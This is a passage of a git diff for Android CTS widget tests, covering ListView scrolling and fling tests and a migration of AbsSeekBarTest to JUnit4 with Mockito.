+        for (int i = 0; i < itemCount; i++) {
+            // Scroll one row down
+            verifyScrollToPosition(i);
+        }
+
+        for (int i = itemCount - 1; i >= 0; i--) {
+            // Scroll one row up
+            verifyScrollToPosition(i);
+        }
+    }
+
+    private void verifyScrollToPositionWithBound(int positionToScrollTo, int boundPosition,
+            boolean expectTargetPositionToBeVisibleAtEnd) throws Throwable {
+        final int firstVisiblePosition = mListView.getFirstVisiblePosition();
+        final int lastVisiblePosition = mListView.getLastVisiblePosition();
+
+        if ((positionToScrollTo >= firstVisiblePosition) &&
+                (positionToScrollTo <= lastVisiblePosition)) {
+            // If it's already on the screen, we won't have any real scrolling taking
+            // place, so our tracking based on scroll state change will time out. This
+            // is why we're returning here early.
+            return;
+        }
+
+        // Register a scroll listener on our ListView. The listener will notify our latch
+        // when the scroll state changes to IDLE. If that never happens, the latch will
+        // time out and fail the test.
+        final CountDownLatch latch = new CountDownLatch(1);
+        mListView.setOnScrollListener(new ScrollIdleListListener(latch));
+        mActivityRule.runOnUiThread(() -> mListView.smoothScrollToPosition(
+                positionToScrollTo, boundPosition));
+
+        assertTrue("Timed out while waiting for the scroll to complete",
+                latch.await(2, TimeUnit.SECONDS));
+
+        // Verify that the bound position is visible
+        assertTrue("Asked to scroll to " + positionToScrollTo + " with bound " + boundPosition
+                + ", first visible is " + mListView.getFirstVisiblePosition()
+                + ", last visible is " + mListView.getLastVisiblePosition(),
+                isItemVisible(boundPosition));
+
+        assertEquals("Asked to scroll to " + positionToScrollTo + " with bound " + boundPosition
+                + ", first visible is " + mListView.getFirstVisiblePosition()
+                + ", last visible is " + mListView.getLastVisiblePosition(),
+                expectTargetPositionToBeVisibleAtEnd, isItemVisible(positionToScrollTo));
+    }
+
+    @Test
+    public void testSmoothScrollToPositionWithBound() throws Throwable {
+        // Our list is 300dp high and each row is 40dp high. Without being too precise,
+        // the logic in this method relies on at least 8 and at most 10 items on the screen
+        // at any time.
+
+        // Scroll to 20 with bound at 6. This should result in the scroll stopping before it
+        // gets to 20 so that 6 is still visible
+        verifyScrollToPositionWithBound(20, 6, false);
+
+        // Scroll to 40 with bound at 35. This should result in the scroll getting to 40 becoming
+        // visible with 35 visible as well
+        verifyScrollToPositionWithBound(40, 35, true);
+
+        // Scroll to 10 with bound at 25. This should result in the scroll stopping before it
+        // gets to 10 so that 25 is still visible
+        verifyScrollToPositionWithBound(10, 25, false);
+
+        // Scroll to 5 with bound at 8. This should result in the scroll getting to 5 becoming
+        // visible with 8 visible as well
+        verifyScrollToPositionWithBound(5, 8, true);
+    }
+
+    private void verifyScrollToPositionFromTop(int positionToScrollTo, int offset,
+            int durationMs) throws Throwable {
+        final int startTopPositionInListCoordinates =
+                mListView.getFirstVisiblePosition() * mRowHeightPx -
+                        mListView.getChildAt(0).getTop();
+        int targetTopPositionInListCoordinates = positionToScrollTo * mRowHeightPx - offset;
+        // Need to clamp it to account for requests that would scroll the content outside
+        // of the available bounds
+        targetTopPositionInListCoordinates = Math.max(0, targetTopPositionInListCoordinates);
+        targetTopPositionInListCoordinates = Math.min(
+                COUNTRY_LIST.length * mRowHeightPx - mListView.getHeight(),
+                targetTopPositionInListCoordinates);
+
+        if (targetTopPositionInListCoordinates == startTopPositionInListCoordinates) {
+            // If it's already at the target state, we won't have any real scrolling taking
+            // place, so our tracking based on scroll state change will time out. This
+            // is why we're returning here early.
+            return;
+        }
+
+        // Register a scroll listener on our ListView. The listener will notify our latch
+        // when the scroll state changes to IDLE. If that never happens, the latch will
+        // time out and fail the test.
+        final CountDownLatch latch = new CountDownLatch(1);
+        mListView.setOnScrollListener(new ScrollIdleListListener(latch));
+        if (durationMs > 0) {
+            mActivityRule.runOnUiThread(() -> mListView.smoothScrollToPositionFromTop(
+                    positionToScrollTo, offset, durationMs));
+        } else {
+            mActivityRule.runOnUiThread(() -> mListView.smoothScrollToPositionFromTop(
+                    positionToScrollTo, offset));
+        }
+
+        // Since position-based scroll is emulated as a series of mini-flings, scrolling
+        // might take considerable time.
+        int timeoutMs = durationMs > 0 ? 5000 + durationMs : 5000;
+        assertTrue("Timed out while waiting for the scroll to complete",
+                latch.await(timeoutMs, TimeUnit.MILLISECONDS));
+
+        final int endTopPositionInListCoordinates =
+                mListView.getFirstVisiblePosition() * mRowHeightPx -
+                        mListView.getChildAt(0).getTop();
+
+        assertEquals(targetTopPositionInListCoordinates, endTopPositionInListCoordinates);
+    }
+
+    @Test
+    public void testSmoothScrollToPositionFromTop() throws Throwable {
+        // Ask to scroll so that the top of position 5 is 10 pixels below the top edge of the list
+        verifyScrollToPositionFromTop(5, 10, -1);
+
+        // Ask to scroll so that the top of position 10 is right at the top edge of the list
+        verifyScrollToPositionFromTop(10, 0, -1);
+
+        // Ask to scroll so that the top of position 5 is 80 dps below the top edge of the list
+        // (which means that since row height is 40 dps high, the top item should be 3
+        verifyScrollToPositionFromTop(5, 2 * mRowHeightPx, -1);
+
+        // Ask to scroll so that the top of position 20 is 20 pixels above the top edge of the list
+        verifyScrollToPositionFromTop(20, 20, -1);
+
+        // Ask to scroll so that the top of position 20 is right at the top edge of the list
+        verifyScrollToPositionFromTop(20, 0, -1);
+
+        // Ask to scroll so that the top of position 20 is 20 pixels below the top edge of the list
+        verifyScrollToPositionFromTop(20, 20, -1);
+
+        // Ask to scroll beyond the top of the content
+        verifyScrollToPositionFromTop(0, -20, -1);
+        verifyScrollToPositionFromTop(0, -60, -1);
+
+        // Ask to scroll beyond the bottom of the content
+        final int itemCount = COUNTRY_LIST.length;
+        verifyScrollToPositionFromTop(itemCount - 1, 0, -1);
+        verifyScrollToPositionFromTop(itemCount - 1, mListView.getHeight(), -1);
+    }
+
+    @Test
+    public void testSmoothScrollToPositionFromTopWithTime() throws Throwable {
+        // Ask to scroll so that the top of position 5 is 20 pixels below the top edge of the list
+        verifyScrollToPositionFromTop(5, 10, 200);
+
+        // Ask to scroll so that the top of position 10 is right at the top edge of the list
+        verifyScrollToPositionFromTop(10, 0, 1000);
+
+        // Ask to scroll so that the top of position 5 is 80 dps below the top edge of the list
+        // (which means that since row height is 40 dps high, the top item should be 3
+        verifyScrollToPositionFromTop(5, 2 * mRowHeightPx, 500);
+
+        // Ask to scroll so that the top of position 20 is 20 pixels above the top edge of the list
+        verifyScrollToPositionFromTop(20, 20, 100);
+
+        // Ask to scroll so that the top of position 20 is right at the top edge of the list
+        verifyScrollToPositionFromTop(20, 0, 700);
+
+        // Ask to scroll so that the top of position 20 is 20 pixels below the top edge of the list
+        verifyScrollToPositionFromTop(20, 20, 600);
+
+        // Ask to scroll beyond the top of the content
+        verifyScrollToPositionFromTop(0, -20, 2000);
+        verifyScrollToPositionFromTop(0, -60, 300);
+
+        // Ask to scroll beyond the bottom of the content
+        final int itemCount = COUNTRY_LIST.length;
+        verifyScrollToPositionFromTop(itemCount - 1, 0, 600);
+        verifyScrollToPositionFromTop(itemCount - 1, mListView.getHeight(), 200);
+    }
+
+    @Test
+    public void testCanScrollList() throws Throwable {
+        final int itemCount = COUNTRY_LIST.length;
+
+        assertEquals(0, mListView.getFirstVisiblePosition());
+
+        // Verify that when we're at the top of the list, we can't scroll up but we can scroll
+        // down.
+        assertFalse(mListView.canScrollList(-1));
+        assertTrue(mListView.canScrollList(1));
+
+        // Scroll down to the very end of the list
+        verifyScrollToPosition(itemCount - 1);
+        assertEquals(itemCount - 1, mListView.getLastVisiblePosition());
+
+        // Verify that when we're at the bottom of the list, we can't scroll down but we can scroll
+        // up.
+        assertFalse(mListView.canScrollList(1));
+        assertTrue(mListView.canScrollList(-1));
+
+        // Scroll up to the middle of the list
+        final int itemInTheMiddle = itemCount / 2;
+        verifyScrollToPosition(itemInTheMiddle);
+
+        // Verify that when we're in the middle of the list, we can scroll both up and down.
+        assertTrue(mListView.canScrollList(-1));
+        assertTrue(mListView.canScrollList(1));
+    }
+
+    private void verifyScrollBy(int y) throws Throwable {
+        // Here we rely on knowing the fixed pixel height of each row
+        final int startTopPositionInListCoordinates =
+                mListView.getFirstVisiblePosition() * mRowHeightPx -
+                        mListView.getChildAt(0).getTop();
+
+        // Since scrollListBy is a synchronous operation, we do not need to wait
+        // until we can proceed to test the result
+        mActivityRule.runOnUiThread(() -> mListView.scrollListBy(y));
+
+        final int endTopPositionInListCoordinates =
+                mListView.getFirstVisiblePosition() * mRowHeightPx -
+                        mListView.getChildAt(0).getTop();
+
+        // As specified in the Javadocs of AbsListView.scrollListBy, the actual scroll amount
+        // will be capped by the list height minus one pixel
+        final int listHeight = mListView.getHeight();
+        final int expectedScrollAmount = (y > 0) ? Math.min(y, listHeight - 1)
+                : Math.max(y, -(listHeight - 1));
+        int expectedTopPositionInListCoordinates =
+                startTopPositionInListCoordinates + expectedScrollAmount;
+        // Need to clamp it to account for requests that would scroll the content outside
+        // of the available bounds
+        expectedTopPositionInListCoordinates = Math.max(0, expectedTopPositionInListCoordinates);
+        expectedTopPositionInListCoordinates = Math.min(
+                COUNTRY_LIST.length * mRowHeightPx - mListView.getHeight(),
+                expectedTopPositionInListCoordinates);
+
+        assertEquals(expectedTopPositionInListCoordinates, endTopPositionInListCoordinates);
+    }
+
+    @Test
+    public void testScrollListBy() throws Throwable {
+        final int listHeight = mListView.getHeight();
+        final int itemCount = COUNTRY_LIST.length;
+
+        // Scroll down by half row height
+        verifyScrollBy(mRowHeightPx / 2);
+
+        // Scroll up by full row height - verifying that we're going to stop at the top of the first
+        // row
+        verifyScrollBy(-mRowHeightPx);
+
+        // Scroll down by slightly more than a screenful of rows - we expect it to be capped
+        // by the list height minus one pixel.
+        verifyScrollBy(listHeight + mRowHeightPx);
+
+        // Scroll down by another half row
+        verifyScrollBy(mRowHeightPx / 2);
+
+        // Scroll up by full row height
+        verifyScrollBy(-mRowHeightPx);
+
+        // Now scroll all the way down (using position-based scrolling)
+        verifyScrollToPosition(itemCount - 1);
+        assertEquals(itemCount - 1, mListView.getLastVisiblePosition());
+
+        // Scroll up by half row height
+        verifyScrollBy(-mRowHeightPx / 2);
+
+        // Scroll down by full row height - verifying that we're going to stop at the bottom of the
+        // last row
+        verifyScrollBy(mRowHeightPx);
+
+        // Scroll up halfway into the list - we expect it to be capped by the list height minus
+        // one pixel.
+        verifyScrollBy(-itemCount * mRowHeightPx / 2);
+    }
+
+    @Test
+    public void testListScrollAndTap() throws Throwable {
+        // Start a programmatic scroll to position 30. We register a scroll listener on the list
+        // to notify us when position 15 becomes visible.
+        final CountDownLatch scrollLatch = new CountDownLatch(1);
+        mListView.setOnScrollListener(new ScrollPositionListListener(scrollLatch, 15));
+        mActivityRule.runOnUiThread(() -> mListView.smoothScrollToPosition(30));
+
+        // Since position-based scroll is emulated as a series of mini-flings, scrolling
+        // might take considerable time.
+        assertTrue("Timed out while waiting for the scroll to complete",
+                scrollLatch.await(5, TimeUnit.SECONDS));
+
+        // Verify that we're here in the middle of the programmatic scroll
+        assertTrue(mListView.getLastVisiblePosition() < 30);
+
+        // Emulate tap in the middle of the list - this should stop our programmatic scroll.
+        // Note that due to asynchronous nature of the moving pieces, we might still get one
+        // more scroll frame as the injected motion events that constitute an emulated tap
+        // are being processed by our list view.
+        CtsTouchUtils.emulateTapOnViewCenter(mInstrumentation, mListView);
+
+        // Sleep for a second
+        SystemClock.sleep(1000);
+
+        // and verify that we're still haven't scrolled down to position 30
+        assertTrue(mListView.getLastVisiblePosition() < 30);
+    }
+
+    private void verifyListScrollAndEmulateFlingGesture(boolean isDownwardsFlingGesture)
+            throws Throwable {
+        // Start a programmatic scroll to position 30. We register a scroll listener on the list
+        // to notify us when position 15 becomes visible.
+        final CountDownLatch scrollLatch = new CountDownLatch(1);
+        mListView.setOnScrollListener(new ScrollPositionListListener(scrollLatch, 15));
+        mActivityRule.runOnUiThread(() -> mListView.smoothScrollToPosition(30));
+
+        // Since position-based scroll is emulated as a series of mini-flings, scrolling
+        // might take considerable time.
+        assertTrue("Timed out while waiting for the scroll to complete",
+                scrollLatch.await(5, TimeUnit.SECONDS));
+
+        // Verify that we're here in the middle of the programmatic scroll
+        assertTrue(mListView.getLastVisiblePosition() < 30);
+
+        final int firstVisiblePositionBeforeFling = mListView.getFirstVisiblePosition();
+
+        // At this point the programmatic scroll is still going. Now emulate a fling
+        // gesture and verify that we're going to get to the IDLE state
+        final CountDownLatch flingLatch = new CountDownLatch(1);
+        mListView.setOnScrollListener(new ScrollIdleListListener(flingLatch));
+        CtsTouchUtils.emulateFlingGesture(mInstrumentation, mListView, isDownwardsFlingGesture);
+
+        assertTrue("Timed out while waiting for the fling to complete",
+                flingLatch.await(5, TimeUnit.SECONDS));
+
+        // Note that the actual position in the list at the end of the fling depends on
+        // the processing of the injected sequence of motion events that might differ at milli/micro
+        // second level from run to run
+        if (isDownwardsFlingGesture) {
+            // Verify that the fling gesture has been processed, getting us closer to the
+            // beginning of the list.
+            assertTrue(mListView.getFirstVisiblePosition() < firstVisiblePositionBeforeFling);
+        } else {
+            // Verify that the fling gesture has been processed, getting us closer to the
+            // end of the list.
+            assertTrue(mListView.getFirstVisiblePosition() > firstVisiblePositionBeforeFling);
+        }
+    }
+
+    @Test
+    public void testListScrollAndEmulateDownwardsFlingGesture() throws Throwable {
+        verifyListScrollAndEmulateFlingGesture(true);
+    }
+
+    @Test
+    public void testListScrollAndEmulateUpwardsFlingGesture() throws Throwable {
+        verifyListScrollAndEmulateFlingGesture(false);
+    }
+
+    @Test
+    public void testListFlingWithZeroVelocity() throws Throwable {
+        mListView.setVelocityScale(0.0f);
+
+        final CountDownLatch flingLatch = new CountDownLatch(1);
+        mListView.setOnScrollListener(new ScrollIdleListListener(flingLatch));
+        final int flingAmount =
+                CtsTouchUtils.emulateFlingGesture(mInstrumentation, mListView, false);
+
+        assertTrue("Timed out while waiting for the fling to complete",
+                flingLatch.await(5, TimeUnit.SECONDS));
+
+        // Since our velocity scale is 0, we expect that the emulated fling gesture didn't
+        // result in any fling, but just a simple scroll that stopped at the ACTION_UP
+        // event.
+        final int expectedTopOffsetAtFlingEnd = -flingAmount;
+        final int expectedBottomOffsetAtFlingEnd = mListView.getHeight() - flingAmount;
+        final int expectedTopPositionAtFlingEnd = expectedTopOffsetAtFlingEnd / mRowHeightPx;
+        final int expectedBottomPositionAtFlingEnd = expectedBottomOffsetAtFlingEnd / mRowHeightPx;
+
+        assertEquals(expectedTopPositionAtFlingEnd, mListView.getFirstVisiblePosition());
+        assertEquals(expectedBottomPositionAtFlingEnd, mListView.getLastVisiblePosition());
+    }
+
+    private static class LargeContentAdapter extends BaseAdapter {
+        private final Context mContext;
+        private final int mCount;
+        private final LayoutInflater mLayoutInflater;
+
+        public LargeContentAdapter(Context context, int count) {
+            mContext = context;
+            mCount = count;
+            mLayoutInflater = LayoutInflater.from(mContext);
+        }
+
+        @Override
+        public int getCount() {
+            return mCount;
+        }
+
+        @Override
+        public boolean hasStableIds() {
+            return true;
+        }
+
+        @Override
+        public long getItemId(int position) {
+            return position;
+        }
+
+        @Override
+        public Object getItem(int position) {
+            return null;
+        }
+
+        @Override
+        public View getView(int position, View convertView, ViewGroup parent) {
+            final TextView textView = (convertView != null) ? (TextView) convertView
+                    : (TextView) mLayoutInflater.inflate(R.layout.listitemfixed_layout,
+                            parent, false);
+            textView.setText("Item " + position);
+            return textView;
+        }
+    }
+
+    @Suppress
+    @Test
+    // Disabled due to flakiness. CtsTouchUtils cannot guarantee the amount of scroll since it is
+    // using sleeps and it is unreliable on cloud devices.
+    public void testFriction() throws Throwable {
+        // Set an adapter with 100K items so that no matter how fast our fling is, we won't
+        // get to the bottom of the list in one fling
+        mActivityRule.runOnUiThread(
+                () -> mListView.setAdapter(new LargeContentAdapter(mContext, 100000)));
+        mInstrumentation.waitForIdleSync();
+
+        final CountDownLatch initialFlingLatch = new CountDownLatch(1);
+        mListView.setOnScrollListener(new ScrollIdleListListener(initialFlingLatch));
+        CtsTouchUtils.emulateFlingGesture(mInstrumentation, mListView, false);
+        assertTrue("Timed out while waiting for the fling to complete",
+                initialFlingLatch.await(5, TimeUnit.SECONDS));
+
+        final int lastVisiblePositionAfterDefaultFling = mListView.getLastVisiblePosition();
+
+        // Scroll back to the top of the list
+        verifyScrollToPosition(0);
+        // configure the fling to have less friction
+        mListView.setFriction(ViewConfiguration.getScrollFriction() / 4.0f);
+        // and do the fling again
+        final CountDownLatch fastFlingLatch = new CountDownLatch(1);
+        mListView.setOnScrollListener(new ScrollIdleListListener(fastFlingLatch));
+        CtsTouchUtils.emulateFlingGesture(mInstrumentation, mListView, false);
+        assertTrue("Timed out while waiting for the fling to complete",
+                fastFlingLatch.await(5, TimeUnit.SECONDS));
+
+        final int lastVisiblePositionAfterFastFling = mListView.getLastVisiblePosition();
+
+        // We expect a fast fling (with lower scroll friction) to end up scrolling more
+        // of our content
+        assertTrue("Default fling ended at " + lastVisiblePositionAfterDefaultFling
+                        + ", while fast fling ended at " + lastVisiblePositionAfterFastFling,
+                lastVisiblePositionAfterFastFling > lastVisiblePositionAfterDefaultFling);
+
+        // Scroll back to the top of the list
+        verifyScrollToPosition(0);
+        // configure the fling to have more friction
+        mListView.setFriction(ViewConfiguration.getScrollFriction() * 4.0f);
+        // and do the fling again
+        final CountDownLatch slowFlingLatch = new CountDownLatch(1);
+        mListView.setOnScrollListener(new ScrollIdleListListener(slowFlingLatch));
+        CtsTouchUtils.emulateFlingGesture(mInstrumentation, mListView, false);
+        assertTrue("Timed out while waiting for the fling to complete",
+                slowFlingLatch.await(5, TimeUnit.SECONDS));
+
+        final int lastVisiblePositionAfterSlowFling = mListView.getLastVisiblePosition();
+
+        // We expect a slow fling (with higher scroll friction) to end up scrolling less
+        // of our content
+        assertTrue("Default fling ended at " + lastVisiblePositionAfterDefaultFling
+                        + ", while slow fling ended at " + lastVisiblePositionAfterSlowFling,
+                lastVisiblePositionAfterSlowFling < lastVisiblePositionAfterDefaultFling);
+    }
+}
diff --git a/tests/tests/widget/src/android/widget/cts/AbsSeekBarCtsActivity.java b/tests/tests/widget/src/android/widget/cts/AbsSeekBarCtsActivity.java
new file mode 100644
index 0000000..1bac1f5
--- /dev/null
+++ b/tests/tests/widget/src/android/widget/cts/AbsSeekBarCtsActivity.java
@@ -0,0 +1,35 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.widget.cts;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.widget.AbsSeekBar;
+
+/**
+ * A minimal application for {@link AbsSeekBar} test
+ */
+public class AbsSeekBarCtsActivity extends Activity {
+    /**
+     * Called when the activity is first created.
+     */
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.seekbar_layout);
+    }
+}
diff --git a/tests/tests/widget/src/android/widget/cts/AbsSeekBarTest.java b/tests/tests/widget/src/android/widget/cts/AbsSeekBarTest.java
index 93032f6..606c86f 100644
--- a/tests/tests/widget/src/android/widget/cts/AbsSeekBarTest.java
+++ b/tests/tests/widget/src/android/widget/cts/AbsSeekBarTest.java
@@ -16,49 +16,77 @@
 
 package android.widget.cts;
 
-import android.widget.cts.R;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+import static org.mockito.Mockito.atLeastOnce;
+import static org.mockito.Mockito.reset;
+import static org.mockito.Mockito.spy;
+import static org.mockito.Mockito.times;
+import static org.mockito.Mockito.verify;
 
 import android.app.Activity;
+import android.app.Instrumentation;
 import android.content.Context;
 import android.content.res.ColorStateList;
-import android.cts.util.PollingCheck;
-import android.graphics.Canvas;
 import android.graphics.Color;
-import android.graphics.ColorFilter;
 import android.graphics.PorterDuff;
+import android.graphics.drawable.ColorDrawable;
 import android.graphics.drawable.Drawable;
-import android.test.ActivityInstrumentationTestCase2;
-import android.test.UiThreadTest;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.SmallTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.view.KeyEvent;
 import android.widget.AbsSeekBar;
 import android.widget.SeekBar;
+import android.widget.cts.util.TestUtils;
+
+import com.android.compatibility.common.util.PollingCheck;
+import com.android.compatibility.common.util.WidgetTestUtils;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.mockito.ArgumentCaptor;
+
+import java.util.List;
 
 /**
  * Test {@link AbsSeekBar}.
  */
-public class AbsSeekBarTest extends ActivityInstrumentationTestCase2<ProgressBarCtsActivity> {
-    public AbsSeekBarTest() {
-        super("android.widget.cts", ProgressBarCtsActivity.class);
-    }
-
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class AbsSeekBarTest {
+    private Instrumentation mInstrumentation;
     private Activity mActivity;
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
+    @Rule
+    public ActivityTestRule<AbsSeekBarCtsActivity> mActivityRule =
+            new ActivityTestRule<>(AbsSeekBarCtsActivity.class);
 
-        mActivity = getActivity();
+    @Before
+    public void setup() {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mActivity = mActivityRule.getActivity();
     }
 
+    @Test
     public void testConstructor() {
         new MyAbsSeekBar(mActivity);
 
         new MyAbsSeekBar(mActivity, null);
 
         new MyAbsSeekBar(mActivity, null, android.R.attr.progressBarStyle);
+
+        new MyAbsSeekBar(mActivity, null, 0, android.R.style.Widget_Material_Light_ProgressBar);
     }
 
+    @Test
     public void testAccessThumbOffset() {
         AbsSeekBar myAbsSeekBar = new MyAbsSeekBar(mActivity);
         final int positive = 5;
@@ -75,58 +103,80 @@
         assertEquals(negative, myAbsSeekBar.getThumbOffset());
     }
 
-    public void testSetThumb() {
-        MyAbsSeekBar myAbsSeekBar = new MyAbsSeekBar(mActivity);
+    @Test
+    public void testAccessThumb() {
+        // Both are pointing to the same object. This works around current limitation in CTS
+        // coverage report tool for properly reporting coverage of base class method calls.
+        final MyAbsSeekBar myAbsSeekBar = new MyAbsSeekBar(mActivity);
+        final AbsSeekBar absSeekBar = myAbsSeekBar;
+
         Drawable drawable1 = mActivity.getDrawable(R.drawable.scenery);
         Drawable drawable2 = mActivity.getDrawable(R.drawable.pass);
 
         assertFalse(myAbsSeekBar.verifyDrawable(drawable1));
         assertFalse(myAbsSeekBar.verifyDrawable(drawable2));
 
-        myAbsSeekBar.setThumb(drawable1);
-        assertSame(drawable1, myAbsSeekBar.getThumb());
+        absSeekBar.setThumb(drawable1);
+        assertSame(drawable1, absSeekBar.getThumb());
         assertTrue(myAbsSeekBar.verifyDrawable(drawable1));
         assertFalse(myAbsSeekBar.verifyDrawable(drawable2));
 
-        myAbsSeekBar.setThumb(drawable2);
-        assertSame(drawable2, myAbsSeekBar.getThumb());
+        absSeekBar.setThumb(drawable2);
+        assertSame(drawable2, absSeekBar.getThumb());
         assertFalse(myAbsSeekBar.verifyDrawable(drawable1));
         assertTrue(myAbsSeekBar.verifyDrawable(drawable2));
     }
 
-    public void testSetTickMark() {
-        MyAbsSeekBar myAbsSeekBar = new MyAbsSeekBar(mActivity);
+    @Test
+    public void testAccessTickMark() {
+        // Both are pointing to the same object. This works around current limitation in CTS
+        // coverage report tool for properly reporting coverage of base class method calls.
+        final MyAbsSeekBar myAbsSeekBar = new MyAbsSeekBar(mActivity);
+        final AbsSeekBar absSeekBar = myAbsSeekBar;
+
         Drawable drawable1 = mActivity.getDrawable(R.drawable.black);
         Drawable drawable2 = mActivity.getDrawable(R.drawable.black);
 
         assertFalse(myAbsSeekBar.verifyDrawable(drawable1));
         assertFalse(myAbsSeekBar.verifyDrawable(drawable2));
 
-        myAbsSeekBar.setTickMark(drawable1);
-        assertSame(drawable1, myAbsSeekBar.getTickMark());
+        absSeekBar.setTickMark(drawable1);
+        assertSame(drawable1, absSeekBar.getTickMark());
         assertTrue(myAbsSeekBar.verifyDrawable(drawable1));
         assertFalse(myAbsSeekBar.verifyDrawable(drawable2));
 
-        myAbsSeekBar.setTickMark(drawable2);
-        assertSame(drawable2, myAbsSeekBar.getTickMark());
+        absSeekBar.setTickMark(drawable2);
+        assertSame(drawable2, absSeekBar.getTickMark());
         assertFalse(myAbsSeekBar.verifyDrawable(drawable1));
         assertTrue(myAbsSeekBar.verifyDrawable(drawable2));
     }
 
+    @Test
     public void testDrawableStateChanged() {
         MyAbsSeekBar myAbsSeekBar = new MyAbsSeekBar(mActivity);
-        MockDrawable drawable = new MockDrawable();
-        myAbsSeekBar.setProgressDrawable(drawable);
+        Drawable mockProgressDrawable = spy(new ColorDrawable(Color.YELLOW));
+        myAbsSeekBar.setProgressDrawable(mockProgressDrawable);
 
+        ArgumentCaptor<Integer> alphaCaptor = ArgumentCaptor.forClass(Integer.class);
         myAbsSeekBar.setEnabled(false);
         myAbsSeekBar.drawableStateChanged();
-        assertEquals(0, drawable.getAlpha());
+        verify(mockProgressDrawable, atLeastOnce()).setAlpha(alphaCaptor.capture());
+        // Verify that the last call to setAlpha was with argument 0x00
+        List<Integer> alphaCaptures = alphaCaptor.getAllValues();
+        assertTrue(!alphaCaptures.isEmpty());
+        assertEquals(Integer.valueOf(0x00), alphaCaptures.get(alphaCaptures.size() - 1));
 
+        alphaCaptor = ArgumentCaptor.forClass(Integer.class);
         myAbsSeekBar.setEnabled(true);
         myAbsSeekBar.drawableStateChanged();
-        assertEquals(0xFF, drawable.getAlpha());
+        verify(mockProgressDrawable, atLeastOnce()).setAlpha(alphaCaptor.capture());
+        // Verify that the last call to setAlpha was with argument 0xFF
+        alphaCaptures = alphaCaptor.getAllValues();
+        assertTrue(!alphaCaptures.isEmpty());
+        assertEquals(Integer.valueOf(0xFF), alphaCaptures.get(alphaCaptures.size() - 1));
     }
 
+    @Test
     public void testVerifyDrawable() {
         MyAbsSeekBar myAbsSeekBar = new MyAbsSeekBar(mActivity);
         Drawable drawable1 = mActivity.getDrawable(R.drawable.scenery);
@@ -160,44 +210,35 @@
         assertTrue(myAbsSeekBar.verifyDrawable(drawable4));
     }
 
+    @Test
     public void testAccessKeyProgressIncrement() throws Throwable {
         // AbsSeekBar is an abstract class, use its subclass: SeekBar to do this test.
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                mActivity.setContentView(R.layout.seekbar_layout);
-            }
-        });
-        getInstrumentation().waitForIdleSync();
+        mActivityRule.runOnUiThread(() -> mActivity.setContentView(R.layout.seekbar_layout));
+        mInstrumentation.waitForIdleSync();
 
         final SeekBar seekBar = (SeekBar) mActivity.findViewById(R.id.seekBar);
         final int keyProgressIncrement = 2;
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                seekBar.setKeyProgressIncrement(keyProgressIncrement);
-                seekBar.setFocusable(true);
-                seekBar.requestFocus();
-            }
+        mActivityRule.runOnUiThread(() -> {
+            seekBar.setKeyProgressIncrement(keyProgressIncrement);
+            seekBar.setFocusable(true);
+            seekBar.requestFocus();
         });
-        new PollingCheck(1000) {
-            @Override
-            protected boolean check() {
-                return seekBar.hasWindowFocus();
-            }
-        }.run();
+        PollingCheck.waitFor(1000, seekBar::hasWindowFocus);
         assertEquals(keyProgressIncrement, seekBar.getKeyProgressIncrement());
 
         int oldProgress = seekBar.getProgress();
         KeyEvent keyEvent = new KeyEvent(KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_DPAD_RIGHT);
-        getInstrumentation().sendKeySync(keyEvent);
+        mInstrumentation.sendKeySync(keyEvent);
         assertEquals(oldProgress + keyProgressIncrement, seekBar.getProgress());
         oldProgress = seekBar.getProgress();
         keyEvent = new KeyEvent(KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_DPAD_LEFT);
-        getInstrumentation().sendKeySync(keyEvent);
+        mInstrumentation.sendKeySync(keyEvent);
         assertEquals(oldProgress - keyProgressIncrement, seekBar.getProgress());
     }
 
-    public void testSetMax() {
-        MyAbsSeekBar myAbsSeekBar = new MyAbsSeekBar(mActivity, null, R.style.TestProgressBar);
+    @Test
+    public void testAccessMax() {
+        AbsSeekBar myAbsSeekBar = new MyAbsSeekBar(mActivity, null, R.style.TestProgressBar);
 
         int progress = 10;
         myAbsSeekBar.setProgress(progress);
@@ -225,59 +266,74 @@
     }
 
     @UiThreadTest
+    @Test
     public void testThumbTint() {
-        mActivity.setContentView(R.layout.seekbar_layout);
-
-        SeekBar inflatedView = (SeekBar) mActivity.findViewById(R.id.thumb_tint);
+        AbsSeekBar inflatedView = (AbsSeekBar) mActivity.findViewById(R.id.thumb_tint);
 
         assertEquals("Thumb tint inflated correctly",
                 Color.WHITE, inflatedView.getThumbTintList().getDefaultColor());
         assertEquals("Thumb tint mode inflated correctly",
                 PorterDuff.Mode.SRC_OVER, inflatedView.getThumbTintMode());
 
-        MockDrawable thumb = new MockDrawable();
-        SeekBar view = new SeekBar(mActivity);
+        Drawable mockThumb = spy(new ColorDrawable(Color.BLUE));
 
-        view.setThumb(thumb);
-        assertFalse("No thumb tint applied by default", thumb.hasCalledSetTint());
+        inflatedView.setThumb(mockThumb);
+        verify(mockThumb, times(1)).setTintList(TestUtils.colorStateListOf(Color.WHITE));
 
-        view.setThumbTintList(ColorStateList.valueOf(Color.WHITE));
-        assertTrue("Thumb tint applied when setThumbTintList() called after setThumb()",
-                thumb.hasCalledSetTint());
